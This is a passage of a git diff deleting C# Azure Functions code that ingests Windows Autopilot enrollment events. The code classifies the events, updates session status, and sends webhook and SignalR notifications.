2: merged vulnerability report with Part 1 findings", - capturedPrefix); - } - } - catch (Exception ex) - { - _logger.LogWarning(ex, - "{Prefix} Failed to load Part 1 report for merge (storing Part 2 standalone)", - capturedPrefix); - } - } - - await _vulnRepo.StoreVulnerabilityReportAsync( - capturedTenantId, capturedSessionId, reportData); - _logger.LogInformation("{Prefix} Vulnerability correlation complete (async, whiteGlovePart={Part})", - capturedPrefix, capturedWhiteGlovePart?.ToString() ?? "none"); - - // Update CveIndex for searchable CVE queries - var findings = reportData.ContainsKey("findings") - ? reportData["findings"] as List> - : null; - if (findings != null && findings.Count > 0) - { - _ = _sessionRepo.UpsertCveIndexEntriesAsync(capturedTenantId, capturedSessionId, findings) - .ContinueWith(t => _logger.LogWarning(t.Exception?.InnerException, - "CveIndex update failed (non-fatal)"), TaskContinuationOptions.OnlyOnFaulted); - } - - // Push SignalR notification so the UI fetches the report immediately - var overallRisk = reportData.ContainsKey("scan_summary") - && reportData["scan_summary"] is Dictionary summary - && summary.ContainsKey("overall_risk") - ? summary["overall_risk"]?.ToString() ?? "unknown" - : "unknown"; - await _signalRNotification.NotifyVulnerabilityReportAvailableAsync( - capturedTenantId, capturedSessionId, overallRisk); - } - } - catch (Exception ex) - { - _logger.LogWarning(ex, "{Prefix} Vulnerability correlation failed (async, non-fatal)", capturedPrefix); - } - }); - } - } - - // Increment platform stats (fire-and-forget, non-blocking) - // Note: IssuesDetected is now incremented inside the async rule engine task above. - _ = _metricsRepo.IncrementPlatformStatAsync("TotalEventsProcessed", processedCount) - .ContinueWith(t => _logger.LogWarning(t.Exception?.InnerException, "Fire-and-forget IncrementPlatformStatAsync failed"), TaskContinuationOptions.OnlyOnFaulted); - if (classification.CompletionEvent != null) - _ = _metricsRepo.IncrementPlatformStatAsync("SuccessfulEnrollments") - .ContinueWith(t => _logger.LogWarning(t.Exception?.InnerException, "Fire-and-forget IncrementPlatformStatAsync failed"), TaskContinuationOptions.OnlyOnFaulted); - - // Record gather rule telemetry for events that carry ruleId in their data - _ = RecordGatherRuleStatsAsync(request.TenantId, storedEvents) - .ContinueWith(t => _logger.LogWarning(t.Exception?.InnerException, - "Fire-and-forget RecordGatherRuleStatsAsync failed"), TaskContinuationOptions.OnlyOnFaulted); - - // Store diagnostics blob name + destination on session (if agent uploaded a diagnostics package) - if (classification.DiagnosticsUploadedEvent != null) - { - var data = classification.DiagnosticsUploadedEvent.Data; - var blobName = data?.ContainsKey("blobName") == true - ? data["blobName"]?.ToString() - : null; - // Older agents don't send `destination` — pass null, repo leaves the - // column unchanged (legacy-row default at read-time is CustomerSas). - var destination = data?.ContainsKey("destination") == true - ? data["destination"]?.ToString() - : null; - if (!string.IsNullOrEmpty(blobName)) - { - await _sessionRepo.UpdateSessionDiagnosticsBlobAsync( - request.TenantId, request.SessionId, blobName, - string.IsNullOrEmpty(destination) ? null : destination); - } - } - - // Retrieve updated session data to include in SignalR messages - var updatedSession = await _sessionRepo.GetSessionAsync(request.TenantId, request.SessionId); - - // NOTE: stuck/long-running InProgress sessions are handled authoritatively by - // MaintenanceService.MarkStalledSessionsAsTimedOutAsync (Stalled at 2h, Failed at - // SessionTimeoutHours + SessionTimeouts OpsEvent). The former per-batch >4h warning - // here was redundant observability noise and was removed. - - // Log warning if WhiteGlove status update was not persisted despite retries and fallback. - if (classification.WhiteGloveEvent != null && updatedSession?.IsPreProvisioned != true) - { - _logger.LogError( - "{SessionPrefix} WhiteGlove status update not persisted after retries and fallback. " + - "IsPreProvisioned={IsPreProvisioned}, Status={Status}. " + - "Proceeding with 200 to allow agent spool drain.", - sessionPrefix, updatedSession?.IsPreProvisioned, updatedSession?.Status); - } - - // Send webhook notifications (fire-and-forget, non-fatal) - await SendWebhookNotificationsAsync( - request, sessionPrefix, classification, updatedSession, - statusTransitioned, whiteGloveStatusTransitioned, failureReason, newRuleResults); - - // SLA consecutive failure check (fire-and-forget, configurable threshold) - if (statusTransitioned && updatedSession?.Status == SessionStatus.Failed) - { - _ = _slaBreachService.EvaluateSessionCompletionAsync(request.TenantId, updatedSession); - } - - // AdminAction is the authoritative portal-button signal. Read - // SessionSummary.AdminMarkedAction (set exclusively by MarkSessionSucceededFunction - // / MarkSessionFailedFunction). The previous "status final + no completion marker - // in this batch" heuristic fired falsely on post-completion agent events. - string? adminAction = updatedSession?.AdminMarkedAction; - if (!string.IsNullOrEmpty(adminAction)) - { - _logger.LogInformation("{SessionPrefix} Admin override detected (AdminMarkedAction) — signaling agent: AdminAction={AdminAction}", - sessionPrefix, adminAction); - } - - // Server→Agent actions: fetch+clear from the session row only when the session we - // just loaded indicates there are pending actions. Zero extra I/O in the common case. - List? pendingActions = null; - if (updatedSession != null && !string.IsNullOrEmpty(updatedSession.PendingActionsJson)) - { - var fetched = await _sessionRepo.FetchAndClearPendingActionsAsync(request.TenantId, request.SessionId); - if (fetched.Count > 0) - { - pendingActions = fetched; - foreach (var a in fetched) - { - _telemetryClient.TrackEvent("ServerActionDelivered", new Dictionary - { - { "tenantId", request.TenantId }, - { "sessionId", request.SessionId }, - { "actionType", a.Type ?? string.Empty }, - { "reason", a.Reason ?? string.Empty }, - { "ruleId", a.RuleId ?? string.Empty }, - { "queuedAt", a.QueuedAt.ToString("O") }, - { "ageSeconds", ((int)(DateTime.UtcNow - a.QueuedAt).TotalSeconds).ToString() } - }); - } - _logger.LogInformation("{SessionPrefix} Delivering {Count} server action(s): [{Types}]", - sessionPrefix, fetched.Count, string.Join(",", fetched.Select(a => a.Type))); - } - } - - // Build HTTP response + SignalR messages - var response = req.CreateResponse(HttpStatusCode.OK); - await response.WriteAsJsonAsync(new IngestEventsResponse - { - Success = true, - EventsReceived = request.Events.Count, - EventsProcessed = processedCount, - Message = $"Successfully stored {processedCount} of {request.Events.Count} events", - ProcessedAt = DateTime.UtcNow, - AdminAction = adminAction, - Actions = pendingActions - }); - - var signalRMessages = BuildSignalRMessages(request, updatedSession, processedCount, newRuleResults); - - return new IngestEventsOutput - { - HttpResponse = response, - SignalRMessages = signalRMessages - }; - } - - /// - /// Classifies stored events by type for downstream processing. - /// - private EventClassification ClassifyEvents(List storedEvents) - { - var classification = new EventClassification(); - - foreach (var evt in storedEvents) - { - if (!classification.EarliestEventTimestamp.HasValue || evt.Timestamp < classification.EarliestEventTimestamp.Value) - classification.EarliestEventTimestamp = evt.Timestamp; - if (!classification.LatestEventTimestamp.HasValue || evt.Timestamp > classification.LatestEventTimestamp.Value) - classification.LatestEventTimestamp = evt.Timestamp; - - switch (evt.EventType) - { - case "phase_changed": - case "esp_phase_changed": - // V2 DecisionEngine emits AppsDevice/AppsUser/FinalizingSetup as - // `phase_transition` (one of the few event types allowed to carry - // Phase != Unknown per feedback_phase_strategy). Without classifying - // these as phase updates the session row's CurrentPhase stayed at -1 - // throughout the App phases. - case "phase_transition": - classification.LastPhaseChangeEvent = evt; - break; - case "enrollment_complete": - classification.CompletionEvent = evt; - break; - case "gather_rules_collection_completed": - classification.GatherCompletionEvent = evt; - break; - case "enrollment_failed": - classification.FailureEvent = evt; - break; - case "diagnostics_uploaded": - classification.DiagnosticsUploadedEvent = evt; - break; - case "whiteglove_complete": - classification.WhiteGloveEvent = evt; - break; - case "whiteglove_resumed": - classification.WhiteGloveResumedEvent = evt; - break; - case "whiteglove_started": - classification.WhiteGloveStartedEvent = evt; - break; - case "esp_failure": - classification.EspFailureEvent = evt; - break; - case "device_location": - classification.DeviceLocationEvent = evt; - break; - case "session_stalled": - classification.SessionStalledEvent = evt; - break; - case "agent_shutting_down": - if (IsMaxLifetimeAgentShutdown(evt)) - classification.AgentMaxLifetimeShutdownEvent = evt; - break; - case "system_reboot_detected": - // Per-batch incremental reboot count (live value during enrollment). - // Overwritten with an authoritative distinct count at the terminal - // transition (UpdateSessionStatusAsync), so a re-sent batch can't inflate it. - classification.RebootCount++; - break; - case "script_completed": - case "script_failed": - var scriptType = evt.Data?.ContainsKey("scriptType") == true - ? evt.Data["scriptType"]?.ToString() : null; - if (string.Equals(scriptType, "platform", StringComparison.OrdinalIgnoreCase)) - classification.PlatformScriptCount++; - else if (string.Equals(scriptType, "remediation", StringComparison.OrdinalIgnoreCase)) - classification.RemediationScriptCount++; - break; - } - - // Track whether this batch contains any non-periodic real event (used for - // Stalled→InProgress healing). Exclude telemetry snapshots and stall-probe - // self-reports which should not count as "agent is productively working". - if (!IsPeriodicOrStallEvent(evt.EventType)) - classification.HasNonPeriodicRealEvent = true; - - AggregateAppInstallEvent(evt, storedEvents[0].TenantId!, storedEvents[0].SessionId!, classification.AppInstallUpdates); - } - - return classification; - } - - /// - /// True for an agent_shutting_down event whose Data.reason is - /// max_lifetime — the V2 watchdog shutdown (session 8bc1180f). By design that - /// path is a "notbremse, not a session verdict": the agent stops permanently WITHOUT - /// emitting enrollment_failed, so this is the last event the session ever - /// sends and the backend must map it to a terminal status itself. Other shutdown - /// reasons (decision_terminal, ctrl_c, process_exit, unhandled_exception, ...) either - /// follow a real terminal event or imply nothing terminal. Shared by both - /// classification copies (legacy ingest + ). - /// - internal static bool IsMaxLifetimeAgentShutdown(EnrollmentEvent? evt) - { - if (evt == null || !string.Equals(evt.EventType, "agent_shutting_down", StringComparison.Ordinal)) - return false; - var reason = evt.Data != null && evt.Data.ContainsKey("reason") - ? evt.Data["reason"]?.ToString() - : null; - return string.Equals(reason, "max_lifetime", StringComparison.OrdinalIgnoreCase); - } - - /// - /// Classifies whether an event type should count as "real enrollment activity" for - /// Stalled→InProgress healing. Periodic telemetry and stall-probe self-reports are - /// excluded so that a silent agent that only emits heartbeats cannot unmark itself - /// as stalled without real progress. - /// - private static bool IsPeriodicOrStallEvent(string? eventType) => eventType switch - { - "performance_snapshot" => true, - "agent_metrics_snapshot" => true, - "performance_collector_stopped" => true, - "agent_metrics_collector_stopped" => true, - "stall_probe_check" => true, - "stall_probe_result" => true, - "session_stalled" => true, - "modern_deployment_log" => true, - _ => false - }; - - /// - /// Updates session status based on classified events. - /// Returns (statusTransitioned, whiteGloveStatusTransitioned, failureReason). - /// - private async Task<(bool statusTransitioned, bool whiteGloveStatusTransitioned, string? failureReason)> UpdateSessionStatusAsync( - IngestEventsRequest request, string sessionPrefix, EventClassification c) - { - bool statusTransitioned = false; - bool whiteGloveStatusTransitioned = false; - string? failureReason = null; - - if (c.CompletionEvent != null) - { - statusTransitioned = await _sessionRepo.UpdateSessionStatusAsync( - request.TenantId, request.SessionId, SessionStatus.Succeeded, c.CompletionEvent.Phase, - completedAt: c.CompletionEvent.Timestamp, - earliestEventTimestamp: c.EarliestEventTimestamp, latestEventTimestamp: c.LatestEventTimestamp); - _logger.LogInformation("{SessionPrefix} Status: Succeeded (transitioned={Transitioned})", sessionPrefix, statusTransitioned); - } - else if (c.FailureEvent != null) - { - failureReason = c.FailureEvent.Data?.ContainsKey("errorCode") == true - ? $"{c.FailureEvent.Message} ({c.FailureEvent.Data["errorCode"]})" - : c.FailureEvent.Message; - - statusTransitioned = await _sessionRepo.UpdateSessionStatusAsync( - request.TenantId, request.SessionId, SessionStatus.Failed, c.FailureEvent.Phase, failureReason, - completedAt: c.FailureEvent.Timestamp, - earliestEventTimestamp: c.EarliestEventTimestamp, latestEventTimestamp: c.LatestEventTimestamp); - _logger.LogWarning("{SessionPrefix} Status: Failed - {FailureReason} (transitioned={Transitioned})", sessionPrefix, failureReason, statusTransitioned); - } - else if (c.EspFailureEvent != null) - { - failureReason = c.EspFailureEvent.Message ?? "ESP failure (backend fallback)"; - statusTransitioned = await _sessionRepo.UpdateSessionStatusAsync( - request.TenantId, request.SessionId, SessionStatus.Failed, c.EspFailureEvent.Phase, failureReason, - completedAt: c.EspFailureEvent.Timestamp, - earliestEventTimestamp: c.EarliestEventTimestamp, latestEventTimestamp: c.LatestEventTimestamp); - _logger.LogWarning("{SessionPrefix} Status: Failed via esp_failure fallback - {FailureReason} (transitioned={Transitioned})", - sessionPrefix, failureReason, statusTransitioned); - } - else if (c.GatherCompletionEvent != null) - { - await _sessionRepo.UpdateSessionStatusAsync( - request.TenantId, request.SessionId, SessionStatus.Succeeded, c.GatherCompletionEvent.Phase, - completedAt: c.GatherCompletionEvent.Timestamp, - earliestEventTimestamp: c.EarliestEventTimestamp, latestEventTimestamp: c.LatestEventTimestamp); - _logger.LogInformation("{SessionPrefix} Status: Succeeded (gather_rules)", sessionPrefix); - } - else if (c.WhiteGloveEvent != null) - { - // The whiteglove_complete event carries Phase=Complete as a convention - // (agent signalling "terminal reached"). Persisting that literally as Session.CurrentPhase - // contradicts Status=Pending and tricks the UI timeline into rendering user-enrollment - // phases as completed. Cap to AppsDevice (last pre-provisioning phase actually reached). - whiteGloveStatusTransitioned = await _sessionRepo.UpdateSessionStatusAsync( - request.TenantId, request.SessionId, SessionStatus.Pending, EnrollmentPhase.AppsDevice, - earliestEventTimestamp: c.EarliestEventTimestamp, latestEventTimestamp: c.LatestEventTimestamp, - isPreProvisioned: true, isUserDriven: false); - - if (!whiteGloveStatusTransitioned) - { - _logger.LogWarning("{SessionPrefix} WhiteGlove UpdateSessionStatusAsync failed, attempting unconditional fallback for IsPreProvisioned + Status", sessionPrefix); - try - { - await _sessionRepo.SetSessionPreProvisionedAsync(request.TenantId, request.SessionId, true, SessionStatus.Pending, isUserDriven: false); - whiteGloveStatusTransitioned = true; - _logger.LogInformation("{SessionPrefix} WhiteGlove fallback succeeded: IsPreProvisioned + Status=Pending set via unconditional merge", sessionPrefix); - } - catch (Exception fallbackEx) - { - _logger.LogError(fallbackEx, "{SessionPrefix} WhiteGlove fallback SetSessionPreProvisionedAsync also failed", sessionPrefix); - } - } - - _logger.LogInformation("{SessionPrefix} Status: Pending (WhiteGlove pre-provisioning complete, transitioned={Transitioned})", sessionPrefix, whiteGloveStatusTransitioned); - } - else if (c.WhiteGloveResumedEvent != null) - { - var currentSession = await _sessionRepo.GetSessionAsync(request.TenantId, request.SessionId); - if (currentSession?.Status == SessionStatus.Pending) - { - await _sessionRepo.UpdateSessionStatusAsync( - request.TenantId, request.SessionId, SessionStatus.InProgress, c.WhiteGloveResumedEvent.Phase, - earliestEventTimestamp: c.EarliestEventTimestamp, latestEventTimestamp: c.LatestEventTimestamp, - isUserDriven: true, resumedAt: c.WhiteGloveResumedEvent.Timestamp); - _logger.LogInformation("{SessionPrefix} Status: InProgress (WhiteGlove Part 2 resumed, IsUserDriven=true)", sessionPrefix); - } - else - { - _logger.LogInformation("{SessionPrefix} WhiteGlove resumed skipped, session already {Status}", sessionPrefix, currentSession?.Status); - } - } - else if (c.AgentMaxLifetimeShutdownEvent != null) - { - // Lowest-priority status writer (session 8bc1180f): the V2 max-lifetime - // watchdog stops the agent permanently without a session verdict — this - // shutdown event is the last one the session ever sends, so without this - // mapping the session stays InProgress forever. Any genuine terminal event - // in the same batch wins via the else-if chain above; an already-terminal - // session is protected by the repository's idempotency guard. Pending - // (WhiteGlove) sessions are skipped — they are deliberately long-lived and - // resume via re-registration. - var currentSession = await _sessionRepo.GetSessionAsync(request.TenantId, request.SessionId); - if (currentSession?.Status == SessionStatus.Pending) - { - _logger.LogInformation( - "{SessionPrefix} max_lifetime shutdown ignored — session is Pending (WhiteGlove)", sessionPrefix); - } - else - { - var uptimeMinutes = c.AgentMaxLifetimeShutdownEvent.Data?.ContainsKey("uptimeMinutes") == true - ? c.AgentMaxLifetimeShutdownEvent.Data["uptimeMinutes"]?.ToString() : null; - failureReason = string.IsNullOrEmpty(uptimeMinutes) - ? "Agent reached its maximum lifetime without a terminal enrollment verdict (max_lifetime watchdog shutdown)." - : $"Agent reached its maximum lifetime ({uptimeMinutes} min) without a terminal enrollment verdict (max_lifetime watchdog shutdown)."; - - statusTransitioned = await _sessionRepo.UpdateSessionStatusAsync( - request.TenantId, request.SessionId, SessionStatus.Failed, c.AgentMaxLifetimeShutdownEvent.Phase, failureReason, - completedAt: c.AgentMaxLifetimeShutdownEvent.Timestamp, - earliestEventTimestamp: c.EarliestEventTimestamp, latestEventTimestamp: c.LatestEventTimestamp, - failureSource: "max_lifetime_watchdog"); - _logger.LogWarning("{SessionPrefix} Status: Failed via max_lifetime shutdown mapping (transitioned={Transitioned})", - sessionPrefix, statusTransitioned); - } - } - - // whiteglove_started (EventID 509) is a soft signal only — it fires on hybrid-join - // devices too. Do NOT set IsPreProvisioned here. Only whiteglove_complete (confirmed by - // SaveWhiteGloveSuccessResult=succeeded in ESP registry) should mark IsPreProvisioned. - if (c.WhiteGloveStartedEvent != null) - { - _logger.LogInformation("{SessionPrefix} whiteglove_started detected (soft signal — not setting IsPreProvisioned, awaiting whiteglove_complete)", sessionPrefix); - } - - // Stalled-status transitions are independent of Succeeded/Failed/Pending/WhiteGlove paths. - // They can coexist with normal processing: if a batch contains session_stalled, mark Stalled; - // if a batch contains any real (non-periodic) event while the session is currently Stalled, - // heal it back to InProgress. - if (c.SessionStalledEvent != null) - { - var stalledReason = "Agent reported stall after 60min without progress (stall_probe)"; - var stalledTransitioned = await _sessionRepo.UpdateSessionStatusAsync( - request.TenantId, request.SessionId, SessionStatus.Stalled, - earliestEventTimestamp: c.EarliestEventTimestamp, latestEventTimestamp: c.LatestEventTimestamp, - stalledAt: c.SessionStalledEvent.Timestamp, failureReason: stalledReason); - if (stalledTransitioned) - _logger.LogWarning("{SessionPrefix} Status: Stalled (agent-reported via session_stalled event)", sessionPrefix); - } - else if (c.HasNonPeriodicRealEvent && !statusTransitioned && !whiteGloveStatusTransitioned) - { - // Only attempt healing if the current session is actually Stalled (one read). - // The repository guard will no-op this call when the session is in any other state. - var currentSession = await _sessionRepo.GetSessionAsync(request.TenantId, request.SessionId); - if (currentSession?.Status == SessionStatus.Stalled) - { - var healed = await _sessionRepo.UpdateSessionStatusAsync( - request.TenantId, request.SessionId, SessionStatus.InProgress, - earliestEventTimestamp: c.EarliestEventTimestamp, latestEventTimestamp: c.LatestEventTimestamp, - clearStalledAt: true, clearFailureReason: true); - if (healed) - _logger.LogInformation("{SessionPrefix} Status: InProgress (healed from Stalled by new real event)", sessionPrefix); - } - } - - return (statusTransitioned, whiteGloveStatusTransitioned, failureReason); - } - - /// - /// Sends webhook notifications for enrollment completion, WhiteGlove, and ESP failure events. - /// Uses the channel-agnostic notification system with provider-specific renderers. - /// - private async Task SendWebhookNotificationsAsync( - IngestEventsRequest request, string sessionPrefix, EventClassification c, - SessionSummary? updatedSession, bool statusTransitioned, bool whiteGloveStatusTransitioned, string? failureReason, - List ruleResults) - { - // Read config once (was 3 separate reads before) - var tenantConfig = await _configService.GetConfigurationAsync(request.TenantId); - var (webhookUrl, providerTypeInt) = tenantConfig.GetEffectiveWebhookConfig(); - - if (string.IsNullOrEmpty(webhookUrl) || providerTypeInt == 0) - return; - - var providerType = (WebhookProviderType)providerTypeInt; - var customHeaders = tenantConfig.GetGenericWebhookHeaders(); - var sessionUrl = updatedSession != null - ? $"https://portal.autopilotmonitor.com/sessions/{request.SessionId}" - : null; - - // Enrollment completion/failure notification - // Only send when statusTransitioned=true to prevent duplicates on retry/double-upload - if (statusTransitioned && (c.CompletionEvent != null || c.FailureEvent != null)) - { - var notifySuccess = c.CompletionEvent != null && tenantConfig.GetEffectiveNotifyOnSuccess(); - var notifyFailure = c.FailureEvent != null && tenantConfig.GetEffectiveNotifyOnFailure(); - if (notifySuccess || notifyFailure) - { - var duration = updatedSession?.DurationSeconds != null - ? TimeSpan.FromSeconds(updatedSession.DurationSeconds.Value) - : (TimeSpan?)null; - - // For WhiteGlove sessions: show user enrollment duration only (Duration 2) - if (updatedSession?.IsPreProvisioned == true && updatedSession?.ResumedAt != null) - { - var completionTime = c.CompletionEvent?.Timestamp ?? c.FailureEvent?.Timestamp; - if (completionTime.HasValue) - duration = completionTime.Value - updatedSession.ResumedAt.Value; - } - - var alert = NotificationAlertBuilder.BuildEnrollmentAlert( - updatedSession?.DeviceName, - updatedSession?.SerialNumber, - updatedSession?.Manufacturer, - updatedSession?.Model, - success: c.CompletionEvent != null, - failureReason: failureReason, - duration: duration, - sessionUrl: sessionUrl); - NotificationAlertBuilder.AddRuleResultSections(alert, ruleResults); - - _ = _webhookNotificationService.SendNotificationAsync(webhookUrl, providerType, alert, customHeaders) - .ContinueWith(t => _logger.LogWarning(t.Exception?.InnerException, - "Fire-and-forget webhook notification failed"), TaskContinuationOptions.OnlyOnFaulted); - } - } - - // WhiteGlove pre-provisioning completion - if (whiteGloveStatusTransitioned && c.WhiteGloveEvent != null && tenantConfig.GetEffectiveNotifyOnSuccess()) - { - var duration = updatedSession?.DurationSeconds != null - ? TimeSpan.FromSeconds(updatedSession.DurationSeconds.Value) - : (TimeSpan?)null; - - var alert = NotificationAlertBuilder.BuildWhiteGloveAlert( - updatedSession?.DeviceName, - updatedSession?.SerialNumber, - updatedSession?.Manufacturer, - updatedSession?.Model, - success: true, - duration: duration, - sessionUrl: sessionUrl); - NotificationAlertBuilder.AddRuleResultSections(alert, ruleResults); - - _ = _webhookNotificationService.SendNotificationAsync(webhookUrl, providerType, alert, customHeaders) - .ContinueWith(t => _logger.LogWarning(t.Exception?.InnerException, - "Fire-and-forget webhook notification failed"), TaskContinuationOptions.OnlyOnFaulted); - } - - // WhiteGlove pre-provisioning failure via esp_failure - if (c.EspFailureEvent != null && updatedSession?.IsPreProvisioned == true && tenantConfig.GetEffectiveNotifyOnFailure()) - { - var duration = updatedSession?.DurationSeconds != null - ? TimeSpan.FromSeconds(updatedSession.DurationSeconds.Value) - : (TimeSpan?)null; - - var alert = NotificationAlertBuilder.BuildWhiteGloveAlert( - updatedSession?.DeviceName, - updatedSession?.SerialNumber, - updatedSession?.Manufacturer, - updatedSession?.Model, - success: false, - duration: duration, - sessionUrl: sessionUrl); - NotificationAlertBuilder.AddRuleResultSections(alert, ruleResults); - - _ = _webhookNotificationService.SendNotificationAsync(webhookUrl, providerType, alert, customHeaders) - .ContinueWith(t => _logger.LogWarning(t.Exception?.InnerException, - "Fire-and-forget webhook notification failed"), TaskContinuationOptions.OnlyOnFaulted); - } - } - - /// - /// Builds SignalR messages for tenant-level and session-level real-time updates. - /// - private SignalRMessageAction[] BuildSignalRMessages( - IngestEventsRequest request, SessionSummary? updatedSession, int processedCount, - List newRuleResults) - { - // 1. Summary notification for session list updates (tenant-specific only) - // Send only mutable fields as delta update - object? sessionDelta = updatedSession != null ? new { - updatedSession.CurrentPhase, - updatedSession.CurrentPhaseDetail, - updatedSession.Status, - updatedSession.FailureReason, - updatedSession.EventCount, - updatedSession.DurationSeconds, - updatedSession.CompletedAt, - updatedSession.DiagnosticsBlobName, - updatedSession.IsPreProvisioned - } : null; - - var summaryMessage = new SignalRMessageAction("newevents") - { - GroupName = $"tenant-{request.TenantId}", - Arguments = new object[] { new { - sessionId = request.SessionId, - tenantId = request.TenantId, - eventCount = processedCount, - sessionUpdate = sessionDelta - } } - }; - - // 2. Signal for real-time event streaming on detail pages (session-specific) - var slimRuleResults = newRuleResults.Count > 0 - ? newRuleResults.Select(r => new { - r.ResultId, - r.RuleId, - r.RuleTitle, - r.Severity, - r.Category, - r.ConfidenceScore, - r.Explanation, - r.Remediation, - r.RelatedDocs, - r.MatchedConditions, - r.DetectedAt - }).ToList() - : null; - - var eventsMessage = new SignalRMessageAction("eventStream") - { - GroupName = $"session-{request.TenantId}-{request.SessionId}", - Arguments = new object[] { new { - sessionId = request.SessionId, - tenantId = request.TenantId, - newEventCount = processedCount, - newRuleResults = slimRuleResults - } } - }; - - return new[] { summaryMessage, eventsMessage }; - } - - /// - /// Stamps authoritative server-side fields onto all events before storage. - /// TenantId and SessionId always come from the validated request metadata, - /// overriding any values the agent may have sent per-event. - /// Exposed as internal for unit testing. - /// - internal static void StampServerFields( - List events, string tenantId, string sessionId, DateTime receivedAt) - { - foreach (var evt in events) - { - evt.ReceivedAt = receivedAt; - evt.TenantId = tenantId; - evt.SessionId = sessionId; - } - } - - /// - /// Sanitizes agent-side timestamps on all events by clamping out-of-range values. - /// When a timestamp is clamped, the original value is preserved in OriginalTimestamp - /// and TimestampClamped is set to true — keeping the raw data available for - /// troubleshooting and root-cause analysis of clock issues on devices. - /// - /// Emits structured logs for observability: - /// - Debug level per clamped event (TenantId/SessionId/EventType/drift) — opt-in via log level - /// - One Warning per ingest batch that had any clamping, with aggregate counts and max drifts. - /// This is what to query in App Insights to find bad-clock devices: - /// traces | where message startswith "Agent clock skew" - /// - /// Exposed as internal for unit testing. - /// - internal static void SanitizeEventTimestamps(List events, DateTime utcNow, ILogger? logger = null) - { - int clampedPast = 0; - int clampedFuture = 0; - double maxPastDriftHours = 0; - double maxFutureDriftHours = 0; - - foreach (var evt in events) - { - var original = evt.Timestamp; - var sanitized = EventTimestampValidator.SanitizeTimestamp(original, utcNow); - if (sanitized == original) - continue; - - evt.OriginalTimestamp = original; - evt.TimestampClamped = true; - evt.Timestamp = sanitized; - - // Classify the clamping direction (for aggregate stats) and track max drift. - // Compare in UTC so Local/Unspecified Kinds don't skew the direction check. - // Note: catastrophic values like DateTime.MinValue fall into the "past" bucket - // with a very large drift — this is intentional and makes them easy to spot in logs. - var originalUtc = EventTimestampValidator.EnsureUtc(original); - if (originalUtc > utcNow) - { - clampedFuture++; - var drift = (originalUtc - utcNow).TotalHours; - if (drift > maxFutureDriftHours) maxFutureDriftHours = drift; - } - else - { - clampedPast++; - var drift = (utcNow - originalUtc).TotalHours; - if (drift > maxPastDriftHours) maxPastDriftHours = drift; - } - - logger?.LogDebug( - "Event timestamp clamped: TenantId={TenantId}, SessionId={SessionId}, EventType={EventType}, Original={Original:O}, Sanitized={Sanitized:O}", - evt.TenantId, evt.SessionId, evt.EventType, original, sanitized); - } - - if (clampedPast + clampedFuture > 0 && logger != null) - { - // Pull tenant/session from the first clamped event (all events in a batch share the same context). - var firstClamped = events.Find(e => e.TimestampClamped); - logger.LogWarning( - "Agent clock skew detected: TenantId={TenantId}, SessionId={SessionId}, TotalEvents={TotalEvents}, ClampedPast={ClampedPast}, ClampedFuture={ClampedFuture}, MaxPastDriftHours={MaxPastDriftHours:F1}, MaxFutureDriftHours={MaxFutureDriftHours:F1}", - firstClamped?.TenantId, - firstClamped?.SessionId, - events.Count, - clampedPast, - clampedFuture, - maxPastDriftHours, - maxFutureDriftHours); - } - } - - /// - /// Records gather rule telemetry for events that carry a ruleId in their data. - /// Fire-and-forget — failures are logged but never propagated. - /// Gather rules have no evaluation count (they run on the agent); we only track fires. - /// - private async Task RecordGatherRuleStatsAsync(string tenantId, List events) - { - try - { - var today = DateTime.UtcNow.ToString("yyyy-MM-dd"); - - // Gather rule results carry ruleId in their event data - var gatherEvents = events.Where(e => - e.Data != null && - e.Data.ContainsKey("ruleId") && - e.Source == "GatherRuleExecutor").ToList(); - - if (gatherEvents.Count == 0) return; - - // Deduplicate: count each unique ruleId once per ingest batch - var seen = new HashSet(StringComparer.OrdinalIgnoreCase); - foreach (var evt in gatherEvents) - { - var ruleId = evt.Data!["ruleId"]?.ToString(); - if (string.IsNullOrEmpty(ruleId) || !seen.Add(ruleId)) continue; - - var ruleTitle = evt.Data.ContainsKey("ruleTitle") ? evt.Data["ruleTitle"]?.ToString() ?? "" : ""; - - // Tenant-specific row - await _metricsRepo.IncrementRuleStatAsync( - today, tenantId, ruleId, "gather", - ruleTitle, "", "", - fired: true, confidenceScore: null); - - // Global aggregate row - await _metricsRepo.IncrementRuleStatAsync( - today, "global", ruleId, "gather", - ruleTitle, "", "", - fired: true, confidenceScore: null); - } - } - catch (Exception ex) - { - _logger.LogWarning(ex, "Failed to record gather rule stats (non-fatal)"); - } - } - - } - - /// - /// Holds classified events from an ingest batch for downstream processing. - /// - internal class EventClassification - { - public EnrollmentEvent? LastPhaseChangeEvent { get; set; } - public EnrollmentEvent? CompletionEvent { get; set; } - public EnrollmentEvent? FailureEvent { get; set; } - public EnrollmentEvent? GatherCompletionEvent { get; set; } - public EnrollmentEvent? DiagnosticsUploadedEvent { get; set; } - public EnrollmentEvent? WhiteGloveEvent { get; set; } - public EnrollmentEvent? WhiteGloveStartedEvent { get; set; } - public EnrollmentEvent? WhiteGloveResumedEvent { get; set; } - public EnrollmentEvent? EspFailureEvent { get; set; } - public EnrollmentEvent? SessionStalledEvent { get; set; } - - /// - /// agent_shutting_down with Data.reason == "max_lifetime" — the V2 - /// watchdog shutdown that deliberately carries no enrollment verdict. Mapped to a - /// terminal Failed status as the lowest-priority status writer so the session does - /// not stay InProgress forever (session 8bc1180f). - /// - public EnrollmentEvent? AgentMaxLifetimeShutdownEvent { get; set; } - public bool HasNonPeriodicRealEvent { get; set; } - public EnrollmentEvent? DeviceLocationEvent { get; set; } - public DateTime? EarliestEventTimestamp { get; set; } - public DateTime? LatestEventTimestamp { get; set; } - public Dictionary AppInstallUpdates { get; } = new(StringComparer.OrdinalIgnoreCase); - public int PlatformScriptCount { get; set; } - public int RemediationScriptCount { get; set; } - - /// - /// Number of system_reboot_detected events seen in this ingest batch (V2 only). - /// Drives the per-batch incremental RebootCount; the stored value is later overwritten - /// with an authoritative distinct count at the terminal transition. - /// - public int RebootCount { get; set; } - } -} diff --git a/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/IngestEventsFunction.cs b/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/IngestEventsFunction.cs deleted file mode 100644 index badb6386..00000000 --- a/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/IngestEventsFunction.cs +++ /dev/null @@ -1,168 +0,0 @@ -using System.Net; -using AutopilotMonitor.Functions.Security; -using AutopilotMonitor.Functions.Services; -using AutopilotMonitor.Functions.Services.Notifications; -using AutopilotMonitor.Functions.Services.Vulnerability; -using AutopilotMonitor.Shared.DataAccess; -using AutopilotMonitor.Shared.Models; -using Microsoft.ApplicationInsights; -using Microsoft.Azure.Functions.Worker; 